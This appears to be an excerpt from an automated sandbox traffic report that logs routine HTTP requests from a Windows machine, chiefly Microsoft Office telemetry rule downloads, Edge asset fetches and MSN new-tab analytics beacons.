Source: global traffic	HTTP traffic detected: GET /rules/rule120639v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120638v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120640v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120642v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120641v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120643v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120644v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120645v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120646v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120647v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120648v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120649v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /fs/windows/config.json HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMTRange: bytes=0-2147483646User-Agent: Microsoft BITS/7.8Host: fs.microsoft.com
Source: global traffic	HTTP traffic detected: GET /rules/rule120651v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120652v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120650v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120653v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120654v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120655v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120656v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120657v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120658v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120659v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120660v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120662v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /edgeoffer/pb/experiments?appId=edge-extensions&country=CH HTTP/1.1Host: api.edgeoffer.microsoft.comConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule120663v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120661v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120664v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /crx/blobs/AW50ZFsLPhJJyx_4ShcDOgcEpJeOc7Vr0kMzfFRoaMfWx4pAgZ0UGF2i9_ei1A7FAHQ-EPFULeBn7F8_SEKhjbpEyKfiidX7GF_6BDOycMeg5w03wjwVQ61hkaEix8WFqmEAxlKa5cmz_tdFr9JtRwdqRu82wmLe2Ghe/GHBMNNJOOEKPMOECNNNILNNBDLOLHKHI_1_84_1_0.crx HTTP/1.1Host: clients2.googleusercontent.comConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule120666v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120668v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120665v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120669v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120667v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120670v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120673v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120672v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120674v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120671v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /assets/domains_config_gz/2.8.76/asset?assetgroup=EntityExtractionDomainsConfig HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveEdge-Asset-Group: EntityExtractionDomainsConfigSec-Mesh-Client-Edge-Version: 117.0.2045.55Sec-Mesh-Client-Edge-Channel: stableSec-Mesh-Client-OS: WindowsSec-Mesh-Client-OS-Version: 10.0.19045Sec-Mesh-Client-Arch: x86_64Sec-Mesh-Client-WebView: 0Sec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_manifest_gz/4.7.107/asset?assetgroup=Shoreline HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveEdge-Asset-Group: ShorelineSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule120675v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120676v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120677v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120678v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120679v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120680v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120681v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120682v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120602v10s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120601v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_action_center_maximal_light.png/1.2.1/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_search_maximal_light.png/1.3.6/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_shopping_maximal_light.png/1.4.0/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_toolbox_maximal_light.png/1.5.13/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_games_maximal_light.png/1.7.1/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_M365_light.png/1.7.32/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule701200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224901v11s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /b?rn=1732283037067&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=0AFE249FEBCF639338DA31A0EAE662C3&cs_fpit=o&cs_fpdm=null&cs_fpdt=null HTTP/1.1Host: sb.scorecardresearch.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule701201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /c.gif?rnd=1732283037066&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=e86e0d66dc7146a5907dace5bc002599&activityId=e86e0d66dc7146a5907dace5bc002599&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0 HTTP/1.1Host: c.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: _C_ETH=1; USRLOC=; MUID=0AFE249FEBCF639338DA31A0EAE662C3; _EDGE_S=F=1&SID=1A32DE6A5A69679E0F0FCB555B2E66D5; _EDGE_V=1
Source: global traffic	HTTP traffic detected: GET /v4/api/selection?nct=1&fmt=json&nocookie=0&locale=en-us&country=US&muid=0AFE249FEBCF639338DA31A0EAE662C3&ACHANNEL=4&ABUILD=117.0.5938.150&clr=esdk&edgeid=5518710994624701133&ADEFAB=1&devosver=10.0.19045.2006&OPSYS=WIN10&poptin=0&UITHEME=light&pageConfig=547&ISSIGNEDIN=0&MSN_CANVAS=2&ISMOBILE=0&BROWSER=6&placement=88000308\|10837393&bcnt=1\|1&asid=9372d335dadc49abceaa658c2d9a48bd HTTP/1.1Host: arc.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: _C_ETH=1; USRLOC=; MUID=0AFE249FEBCF639338DA31A0EAE662C3; _EDGE_S=F=1&SID=1A32DE6A5A69679E0F0FCB555B2E66D5; _EDGE_V=1
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA13Q6AL.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AAc9vHK.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/BB1lFz6G.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA1hk7Sh.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA1u24yb.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_outlook_light.png/1.9.10/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_edrop_maximal_light.png/1.1.12/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /b2?rn=1732283037067&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=0AFE249FEBCF639338DA31A0EAE662C3&cs_fpit=o&cs_fpdm=null&cs_fpdt=null HTTP/1.1Host: sb.scorecardresearch.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: UID=168118f0a71cbdc6f50c0b91732283040; XID=168118f0a71cbdc6f50c0b91732283040
Source: global traffic	HTTP traffic detected: GET /rules/rule702351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
